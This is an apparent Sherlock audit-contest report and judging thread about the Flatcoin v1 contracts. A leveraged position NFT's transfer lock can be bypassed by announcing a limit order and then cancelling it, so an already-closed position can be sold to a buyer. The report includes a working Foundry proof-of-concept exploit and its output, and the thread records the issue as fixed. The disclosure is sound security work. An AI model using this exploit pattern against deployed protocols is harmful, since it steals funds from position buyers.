r0ck3tz - The transfer lock for leveraged position orders can be bypassed

[sherlock-admin2]

r0ck3tz

high

The transfer lock for leveraged position orders can be bypassed

Summary

The leveraged positions can be closed either through DelayedOrder or through the LimitOrder. Once the order is announced via DelayedOrder.announceLeverageClose or LimitOrder.announceLimitOrder function the LeverageModule's lock function is called to prevent given token to be transferred. This mechanism can be bypassed and it is possible to unlock the token transfer while having order announced.

Vulnerability Detail

Exploitation scenario:

1. Attacker announces leverage close order for his position via announceLeverageClose of DelayedOrder contract.
2. Attacker announces limit order via announceLimitOrder of LimitOrder contract.
3. Attacker cancels limit order via cancelLimitOrder of LimitOrder contract.
4. The position is getting unlocked while the leverage close announcement is active.
5. Attacker sells the leveraged position to a third party.
6. Attacker executes the leverage close via executeOrder of DelayedOrder contract and gets the underlying collateral stealing the funds from the third party that the leveraged position was sold to.

Following proof of concept presents the attack:

function testExploitTransferOut() public {
    uint256 collateralPrice = 1000e8;

    vm.startPrank(alice);

    uint256 balance = WETH.balanceOf(alice);
    console2.log("alice balance", balance);

    (uint256 minFillPrice, ) = oracleModProxy.getPrice();

    // Announce order through delayed orders to lock tokenId
    delayedOrderProxy.announceLeverageClose(
        tokenId,
        minFillPrice - 100, // add some slippage
        mockKeeperFee.getKeeperFee()
    );

    // Announce limit order to lock tokenId
    limitOrderProxy.announceLimitOrder({
        tokenId: tokenId,
        priceLowerThreshold: 900e18,
        priceUpperThreshold: 1100e18
    });

    // Cancel limit order to unlock tokenId
    limitOrderProxy.cancelLimitOrder(tokenId);

    balance = WETH.balanceOf(alice);
    console2.log("alice after creating two orders", balance);

    // TokenId is unlocked and can be transferred while the delayed order is active
    leverageModProxy.transferFrom(alice, address(0x1), tokenId);
    console2.log("new owner of position NFT", leverageModProxy.ownerOf(tokenId));

    balance = WETH.balanceOf(alice);
    console2.log("alice after transfering position NFT out e.g. selling", balance);

    skip(uint256(vaultProxy.minExecutabilityAge())); // must reach minimum executability time

    uint256 oraclePrice = collateralPrice;

    bytes[] memory priceUpdateData = getPriceUpdateData(oraclePrice);
    delayedOrderProxy.executeOrder{value: 1}(alice, priceUpdateData);

    uint256 finalBalance = WETH.balanceOf(alice);
    console2.log("alice after executing delayerd order and cashing out profit", finalBalance);
    console2.log("profit", finalBalance - balance);
}

Output

Running 1 test for test/unit/Common/LimitOrder.t.sol:LimitOrderTest
[PASS] testExploitTransferOut() (gas: 743262)
Logs:
  alice balance 99879997000000000000000
  alice after creating two orders 99879997000000000000000
  new owner of position NFT 0x0000000000000000000000000000000000000001
  alice after transfering position NFT out e.g. selling 99879997000000000000000
  alice after executing delayerd order and cashing out profit 99889997000000000000000
  profit 10000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 50.06ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

The attacker can sell the leveraged position with a close order opened, execute the order afterward, and steal the underlying collateral.

Code Snippet

• https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/DelayedOrder.sol#L298
• https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/LimitOrder.sol#L76
• https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/LimitOrder.sol#L94

Tool used

Manual Review

Recommendation

It is recommended to prevent announcing order either through DelayedOrder.announceLeverageClose or LimitOrder.announceLimitOrder if the leveraged position is already locked.

[sherlock-admin]

1 comment(s) were left on this issue during the judging contest.

takarez commented:

invalid: i believe features that are meant for the future is out-of scope and thus selling feature falls into that; user can only transfer the nft now; nothing sort of selling; so no collateral fraud here.

[0xLogos]

Escalate

Invalid, it's user mistake to buy such position

[sherlock-admin2]

Escalate

Invalid, it's user mistake to buy such position

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[novaman33]

Escalate

Invalid, it's user mistake to buy such position

Then if it is a user mistake the whole lock is unnecessary?

[r0ck3tzx]

The token is supposed to be tradable which was also confirmed by the sponsor:

That means it cannot be treated as user mistake if you can sell the token and then steal underlying value.

[0xLogos]

If trustless trade is desired parties must use some contract to facilitate atomic swap. For example NFT market place, but to exploit it attacker must somehow frontrun buying tx to announce order before, but it's impossible. Note that delayed orders expire in minutes. If atomic swap not used parties already trust each other.

I believe it's really hard to realisticly exploit it and this should be low because attacker can't just "sell" position. It's not like art nft when underlying "value" is static. Here buyer choose to buy or not and it's his obligation to check announced orders just like checking position PnL.

Also transferable != tradable

[r0ck3tzx]

Half of the protocol is the locking mechanism so its clear it is not supposed to be transferred. Its the same as you would transfer ERC721 without resetting approvals. I won't comment further on this, as you've escalated most of the issues, throwing mud and seeing what sticks. I don't have time for dealing with this.

[xiaoming9090]

Escalate.

This issue does not lead to loss of assets for the protocol or the protocol's users. It does not drain the assets within the protocol or steal the assets that Flatcoin's LPs/Long Traders deposit into the protocol. The only affected parties are external or third parties (not related to the protocol in any sense) who are being tricked into buying such position NFTs outside of the protocol border. Thus, it does not meet the requirement of a Med/High where the assets of the protocol and the protocol's users can be stolen.

Low is a more appropriate category for such an issue.

[sherlock-admin2]

Escalate.

This issue does not lead to loss of assets for the protocol or the protocol's users. It does not drain the assets within the protocol or steal the assets that Flatcoin's LPs/Long Traders deposit into the protocol. The only affected parties are external or third parties (not related to the protocol in any sense) who are being tricked into buying such position NFTs outside of the protocol border. Thus, it does not meet the requirement of a Med/High where the assets of the protocol and the protocol's users can be stolen.

Low is a more appropriate category for such an issue.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[ABDuullahi]

I believe this issue should be invalid.

The report has been tailored on the fact that the NFTs can be traded and the impact also is that when a user buys the position, there isn't anything sort of selling, thats for users to deal with, the sponsor confirm that there might be a feature that will allow that position(NFT) to be used as a collateral but that isn't of our concern in this case. Other issues demonstrating the NFT being transferred should stay valid due to the fact that they aren't meant to, and thus breaking a core invariant of the protocol.

[r0ck3tzx]

The user who purchases the position becomes a user of the protocol. The affected party is then a user of the protocol holding a malicious position from which the attacker can steal funds. To render this issue invalid, it would be required to show that the position (ERC721) holds no value which is false.

@ABDuullahi let me understand correctly, you are claiming that this specific report that presents the whole attack scenario with PoC should be invalidated, but the others that are saying it breaks the invariant should be valid?

[sherlock-admin]

The protocol team fixed this issue in PR/commit https://github.com/dhedge/flatcoin-v1/pull/278.

[nevillehuang]

I believe this issue should remain as valid, given

• It is explicitly mentioned that the token is locked when an order is announced, so it is implied that it should remain locked.

• Tokens are supposed to be traded and is public knowledge mentioned by sponsor as noted by this comment

[Czar102]

So, a locked position can have an action queued that will grant a fraction (potentially all) tokens within the position to the past owner? And this action will be executed after the sale happens? @nevillehuang @r0ck3tzx @0xLogos

If that's the case, the buyer should have checked that the position has no pending withdrawals.

[r0ck3tzx]

@Czar102 The position can be transferred/traded freely. When user decides to close the position he can either do that via announceLeverageClose or announceLimitOrder. Once the order is announced the position is locked and it should not be transferred/traded in any way. This logic of locking position takes significant portion of the codebase.

The issue is pretty much connected to two things:

• Breaking one of the core invariants of the protocol.
• Ability to pull up the attack of selling position for which order is announced and can be executed which allows to steal not portion but ALL underlying tokens of the position.

I cannot agree that the buyer should have checked for that - this case is very similar to ERC721 where upon transfers the approval is cleared. You could argue that every buyer of NFT should check first if the approval was cleared out but obviously that would make NFTs unusable and nobody would trade them.

[nevillehuang]

Agree with @r0ck3tzx comments, also to note normally, this type of finding would likely be invalid as it would entail out of scope secondary market exchanges between the buyer and seller of the NFT. However, as noted by my comment here, it is implied that the lock should persist, so a honeypot attack shouldn't be possible.

[Czar102]

What's the main goal of having the lock functionality?

[0xjuaan]

it prevents people from transferring the nft while an order is pending for that nft's tokenId

[Czar102]

Understood, but is it expressed anywhere what is it for?

[novaman33]

@Czar102 https://discord.com/channels/812037309376495636/1199005620536356874/1202201279817072691

[xiaoming9090]

@Czar102 https://discord.com/channels/812037309376495636/1199005620536356874/1202201279817072691

The sponsor mentioned, "If our NFT was integrated in other protocols", would that be considered a future issue under Sherlock rule since it is still unsure at this point if their NFT will be integrated with other protocols?

[0xcrunch]

I believe sponsor was actually demonstrating that the lock functionality is very important and any related issue is unacceptable.

[r0ck3tzx]

@Czar102

What's the main goal of having the lock functionality?

When you have an position and you want to close it, the locking functionality ensures that you are not transferring/trading it. You shouldnt be able to sell something you dont own.

Understood, but is it expressed anywhere what is it for?

Are we going now towards a direction of expecting sponsors to write a book about every line of the protocol so the LSW cannot start his "legal" battle? We are literally now wasting time on proving that the man is not a camel.

@xiaoming9090

@Czar102 https://discord.com/channels/812037309376495636/1199005620536356874/1202201279817072691

The sponsor mentioned, "If our NFT was integrated in other protocols", would that be considered a future issue under Sherlock rule since it is still unsure at this point if their NFT will be integrated with other protocols?

Its absolutely disgusting how LSW again is twisting the words and confusing the judges. That way every issue related to protocol own tokens should be invalid, because their value depends on the future integration with DEX such as Uniswap.

[Czar102]

I think the intention of the smart contracts working with exchanges (that's the goal of the lock functionality) is extremely clear, so the inability to arbitrarily unlock is an extremely property that breaks planned (not future!) integrations.

Hence, I think this issue should maintain its validity and severity.

[Evert0x]

Result: High Has Duplicates

[sherlock-admin2]

Escalations have been resolved successfully!

Escalation status:

• 0xLogos: rejected
• xiaoming9090: rejected

[sherlock-admin4]

The Lead Senior Watson signed off on the fix.